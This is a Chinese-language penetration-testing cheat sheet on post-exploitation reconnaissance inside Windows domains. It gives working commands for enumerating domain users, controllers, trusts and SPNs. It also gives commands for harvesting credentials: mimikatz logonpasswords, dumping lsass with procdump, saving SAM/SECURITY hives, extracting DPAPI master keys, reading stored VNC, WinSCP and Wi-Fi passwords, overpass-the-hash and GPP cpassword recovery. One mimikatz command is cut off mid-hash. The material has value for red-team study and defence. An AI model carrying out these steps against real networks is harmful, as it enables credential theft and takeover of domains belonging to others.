Windows信息收集
Windows 信息收集
主机发现
主机基本信息
当拿到内网主机的控制权shell,进行第一步的基本主机信息收集
当前服务器的计算机基本信息,为后续判断服务器角色,网络环境等做准备
systeminfo #详细信息
net start #启动服务
tasklist #进程列表
schtasks #计划任务
Netbios协议
1.nbtscan
在Windows操作系统中,默认开启支持NetBIOS协议,并使用主机名作为NetBIOS主机名。所以,通过NetBIOS主机名扫描可以确认目标IP的操作系统类型。Kali Linux中,使用nbtscan可以进行NetBIOS主机名扫描。
2.nmap
nmap -sN
ICMP协议
顾名思义,ping主机
for /l %i in (1,1,255) do @ ping 10.0.0.%i -w 1 -n 1|find /i "ttl="
或者
tcping.exe ‐n 1 192.168.1.0 80 #powershell
好处是检测迅速
坏处是容易被防火墙拦截
配置文件
可以多翻翻配置文件
grep暴力搜索关键字,看看有没有密码啥的
用户信息
搜集域用户,本地用户,用户权限,组信息
获取全部域用户:
查看ip查看是否存在域
ipconfig/all
查看本地用户
net user
查看域用户
net user /domain
查看有几个域
net view /domain #该命令依赖于两个服务:server和computer browser必须开启
查看某个域内主机
net view /domain:domain_name
查看域有哪些组
net group /domain
查看域管理员组
net group “domain admins” /domain
查看域控
net group “domain controllers” /domain
查看域管理
net localgroup administrators /domain
定位域控
net time /domain
nltest /dclist:该域
域信任信息
nltest /domain_trusts
主机名
hostname
用户登录信息 判断用户是否在线
query user
获取域分组:
net group/domain
域信任
域信任不难理解,A域对B域配置域信任,B域主机就能访问A域主机中的一些资源,或B域中账户可以在nswl.local的域中进行账户验证
返回所有信任192.168.110.202所在域的域:
nltest /domain_trusts /all_trusts /v /server:192.168.110.202
端口扫描
端口扫描主要是看一些服务,环境,还有是否存在代理通道…
1.netstat
netstat -a
2.nmap
nmap –T4 –A –v -p- [IP]
-A 选项用于使用进攻性(Aggressive)方式扫描;
-T4 指定扫描过程使用的时序(Timing),总有6个级别(0-5),级别越高,扫描速度越快,但也容易被防火墙或IDS检测并屏蔽掉,在网络通讯状况良好的情况推荐使用T4;
-v 表示显示冗余(verbosity)信息,在扫描过程中显示扫描的细节,从而让用户了解当前的扫描状态。
-p- 表示扫描所有的端口
会话收集
使用NetSessionEnum API来查看DC上有哪些用户登录。
Get-NetSession -ComputerName DC-0xL4k1d
可以查看域用户登录过哪些机器:
Import-Module .\PowerView.ps1
Invoke-UserHunter -UserName "lakiddi"
SPN收集
在内网中,SPN扫描通过查询向域控服务器执行服务发现。可以帮助我们识别正在运行重要服务的主机
SPN的两种类型
-
一种是注册在AD的Computers下,当一个服务的权限为System 或 Network Service,则SPN注册在机器帐户(Computers)下。域中的每个机器都会有注册两个SPN:HOST/主机名 和 HOST/主机名.xie.com
-
另一种是注册在活动目录的域用户帐户(Users)下,当一个服务的权限为一个域用户,则SPN注册在域用户帐户(Users)下。
setspn -q */*
SPN信息收集
收集SPN意义
快速寻找内网中注册的服务,SPN扫描可以规避像端口扫描的不确定性探测动作
SetSPN
SetSPN是一个本地Windows二进制文件,可用于检索用户帐户和服务之间的映射。该实用程序可以添加,删除或查看SPN注册。
可以使用该命令收集有关内网域环境的信息
setspn -q */* //查看当前域内所有的SPN:
setspn -T lakid.org -q */* //查看域lakid.org注册的SPN,如果指定域不存在,则默认切换到查找本域的SPN
setspn -X //查找本域内重复的SPN
setspn -D MySQL/lakiddi.lakid.org:1433/MSSQL lakiddi//删除指定SPN:
setspn -L username/hostname //查找指定用户或主机名注册的SPN:
setspn -q */*
setspn -X
PowerShell-AD-Recon工具包
链接:https://github.com/PyroTek3/PowerShell-AD-Recon
该工具包提供了一些探测指定SPN的脚本,例如Exchange,Microsoft SQLServer,Terminal等
首先,先要执行这个命令
set-ExecutionPolicy RemoteSigned
#Discover-PSMSSQLServers.ps1的使用,扫描MSSQL服务
Import-Module .\Discover-PSMSSQLServers.ps1;Discover-PSMSSQLServers
#Discover-PSMSExchangeServers.ps1的使用,扫描Exchange服务
Import-Module .\Discover-PSMSExchangeServers.ps1;Discover-PSMSExchangeServers
#扫描域中所有的SPN信息
Import-Module .\Discover-PSInterestingServices.ps1;Discover-PSInterestingServices
GetUserSPNs.ps1
GetUserSPNs 是 Kerberoast 工具集中的一个 powershell 脚本,用来查询域内用户注册的 SPN。
Import-Module .\GetUserSPNs.ps1
GetUserSPNs.vbs:
GetUserSPNs 是 Kerberoast 工具集中的一个 vbs 脚本,用来查询域内用户注册的 SPN。
PowerView.ps1:
PowerView是 PowerSpolit 中 Recon目录下的一个powershell脚本,PowerView 相对于上面几种是根据不同用户的 objectsid 来返回,返回的信息更加详细。
Import-Module .\PowerView.ps1
Get-NetUser -SPN
凭据收集
旨在收集各种密文,明文,口令等,为后续横向渗透做好测试准备,凭据信息收集:
1.站点源码备份文件、数据库备份文件等
2.各类数据库 Web 管理入口,如 PHPMyAdmin
3.浏览器保存密码、浏览器 Cookies
4.其他用户会话、3389 和 ipc$连接记录、回收站内容
5.Windows 保存的 WIFI 密码
6.网络内部的各种帐号和密码,如:Email、VPN、FTP、OA 等
cmdkey /list
SecureCRT:
xp/win2003 | C:\Documents and Settings\USERNAME\Application Data\VanDyke\Config\Sessions |
---|---|
win7/win2008以上 | C:\Users\USERNAME\AppData\Roaming\VanDyke\Config\Sessions |
Xshell:
Xshell 5 | %userprofile%\Documents\NetSarang\Xshell\Sessions |
---|---|
Xshell 6 | %userprofile%\Documents\NetSarang Computer\6\Xshell\Sessions |
WinSCP:
HKCU\Software\Martin Prikryl\WinSCP 2\Sessions
vnc:
RealVNC HKEY_LOCAL_MACHINE\SOFTWARE\RealVNC\vncserver Value: Password
TightVNC HKEY_CURRENT_USER\Software\TightVNC\Server Value: Password or PasswordViewOnly
TigerVNC HKEY_LOCAL_USER\Software\TigerVNC\WinVNC4 Value: Password
UltraVNC C:\Program Files\UltraVNC\ultravnc.ini Value: passwd or passwd2
也可以使用masterkey解密chrome保存的账号密码:
%localappdata%\Google\Chrome\User Data\Default\Login Data
mimikatz
链接:https://github.com/gentilkiwi/mimikatz/releases
安装
privilege::debug #提升权限
使用获取本机账户密码信息:
sekurlsa::logonpasswords #抓取密码
高版本Windows抓取密码
procdump.exe -accepteula -ma lsass.exe 1.dmp #dump lsass.exe
mimikatz.exe "log" "sekurlsa::minidump 1.dmp" "sekurlsa::logonPasswords full" exit #抓取
meterpreter-kiwi模块
MSF中meterpreter_kiwi模块
kiwi模块使用
load kiwi #加载kiwi模块
help kiwi #查看帮助
kiwi模块命令
creds_all #列举所有凭据
creds_kerberos #列举所有kerberos凭据
creds_msv #列举所有msv凭据
creds_ssp #列举所有ssp凭据
creds_tspkg #列举所有tspkg凭据
creds_wdigest #列举所有wdigest凭据
dcsync #通过DCSync检索用户帐户信息
dcsync_ntlm #通过DCSync检索用户帐户NTLM散列、SID和RID
golden_ticket_create #创建黄金票据
kerberos_ticket_list #列举kerberos票据
kerberos_ticket_purge #清除kerberos票据
kerberos_ticket_use #使用kerberos票据
kiwi_cmd #执行mimikatz的命令,后面接mimikatz.exe的命令
lsa_dump_sam #dump出lsa的SAM
lsa_dump_secrets #dump出lsa的密文
password_change #修改密码
wifi_list #列出当前用户的wifi配置文件
wifi_list_shared #列出共享wifi配置文件/编码
Windows DPAPI
DPAPI(全称Data Protection API),对于Windows系统,用户的加密数据大都采用DPAPI进行存储,而想要解密这些数据解,必须要获得DPAPI对应的MasterKey
主要用于保护加密的数据,常见的应用如有:EFS、·存储无线连接密码、IE、Chrome
Master Key的获取
Master Key,64字节,用于解密DPAPI blob,使用用户登录密码、SID和16字节随机数加密后保存在Master Key file中
Master Key File
二进制文件,可使用用户登录密码对其解密,获得Master Key
分为两种:
·用户Master Key file,位于%APPDATA%\Microsoft\Protect\%SID%
·系统Master Key file,位于%WINDIR%\System32\Microsoft\Protect\S-1-5-18\User
Mimikatz获取:
privilege::debug
sekurlsa::dpapi
或者dump lsass.exe:
procdump.exe -accepteula -ma lsass.exe lsass.dmp #dump lsass.exe
sekurlsa::minidump lsass.dmp
sekurlsa::dpapi
或者注册表破解:
1.复制注册表文件
reg save HKLM\SYSTEM SystemBkup.hiv
reg save HKLM\SECURITY SECURITY.hiv
2.获得DPAPI_SYSTEM的user Hash
mimikatz log "lsad ump::secrets /system:SystemBkup.hiv /security:SECURITY.hiv"
3.用刚才获得的user Hash解密系统Master Key file,获得MasterKey
mimikatz "dpapi::masterkey /in:C:\Windows\System32\Microsoft\Protect\S-1-5-18\User\04ece708-132d-4bf0-a647-e3329269a012 /system:[user Hash]"
渗透技巧——获取Windows系统下DPAPI中的MasterKey
DNS记录收集
DNS域传送的收集与利用
域传送 :DNS Zone Transfer
DNS服务器分为:主服务器、备份服务器和缓存服务器。
在主备服务器之间同步数据库的时候,就需要使用DNS域传送
危害
通过对域传送的漏洞利用,我们可能可以获得
1)网络的拓扑结构,服务器集中的IP地址段
2)数据库服务器的IP地址
3)测试服务器的IP地址
4)VPN服务器地址泄露
5)其他敏感服务器
检测
1.nslookup
ls命令列出某个域中的所有域名
如果是不存在漏洞的主机,会返回Query Refused:
如果是存在漏洞的主机,会泄露很多DNS解析记录
2.nmap
nmap --script dns-zone-transfer --script-args dns-zone-transfer.domain=[要查询的域] -p 53 -Pn [该域DNS服务器]
3.dig
dig @dns.xxx.xxx.xxx axfr xxx.xxx.xxx
axfr
为域传送指令@
指定域名服务器xxx.xxx.xxx
表示要查询的域名
DNS记录的获取
DNS记录是快速了解域内的网络架构的信息
通过DNS Manager获取DNS记录
Administrative Tools -> DNS -> Forward Lookup Zones -> 要查询的域名
能够显示当前域内的DNS记录,包括主机名和对应的IP。
通过dnscmd获取DNS记录
(Win7不支持)
列出test.com的信息:
dnscmd . /ZoneInfo lakid.org
列举test.com的记录:
dnscmd . /ZonePrint lakid.org
dnscmd . /EnumRecords lakid.orf .(简略版)
域内远程读取DNS记录的方法(Win7)
因为Win7系统在使用dnscmd时需要安装Remote Server Administration Tools(RSAT)
前提:
-
需要获得域主机管理员的权限(mimikatz)
-
在未安装Remote Server Administration Tools (RSAT)的系统上执行dnscmd,需要满足以下条件:
-
dnscmd保存在路径C:WindowsSystem32下
-
dnscmd.exe.mui保存在C:WindowsSystem32en-US下(该位置比较通用,也可以在其他位置)
-
由于dnscmd在远程连接时,未提供输入用户名和口令的接口,这里需要借助mimikatz的Overpass-the-hash弹出一个cmd。
提权以后在弹出的cmd里执行dnscmd即可获取记录
比如:
· 域管理员用户:Administrator
· 口令:DomainAdmin456!
· hash:A55E0720F0041193632A58E007624B40
Overpass-the-hash(sekurlsa::pth):
mimikatz.exe privilege::debug "sekurlsa::pth /user:Administrator /domain:test.com /ntlm:A55E0720F0041193632A58E007
获取wifi密码
列出所有连接过的WiFi的配置文件
netsh wlan show profiles
查看到某个具体WiFi的配置详情,包括密码:
netsh wlan show profiles name="XXXXXX" key=clear
GPP-组策略利用
利用SYSVOL还原组策略中保存的密码
域内共享文件夹\SYSVOL:
\
所有域内主机都能访问,里面保存组策略相关数据
认证用户(所有域用户或者信任域里的用户)对SYSVOL拥有读权限
- 组策略偏好GPP
映射驱动(Drives.xml)
创建本地用户
数据源(DataSources.xml)
打印机配置(Printers.xml)
创建/更新服务(Services.xml)
计划任务(ScheduledTasks.xml)
更改本地Administrator密码
*域管理员在使用组策略批量管理域内主机时,如果配置组策略的过程中需要填入密码,那么该密码会被保存为cpassword项到共享文件夹\SYSVOL下的xml文件,默认所有域内用户可访问,虽然被加密,但很容易被解密*
用这个开源脚本即可解开密码:
使用PowerShell解密后为testsuccess! 成功换源
SeatBelt
C#开发的自动化信息收集工具
https://github.com/GhostPack/Seatbelt
非常多命令
包括很多浏览器的信息也能收集
Bloodhound
可视化的自动信息收集工具
SharpHound.exe -c all
生成zip后导入Bloodhound即可进行可视化分析
比较常用的就是寻找攻击域控的最快途径
如图可知,拿下这个用户我们就能拿到域控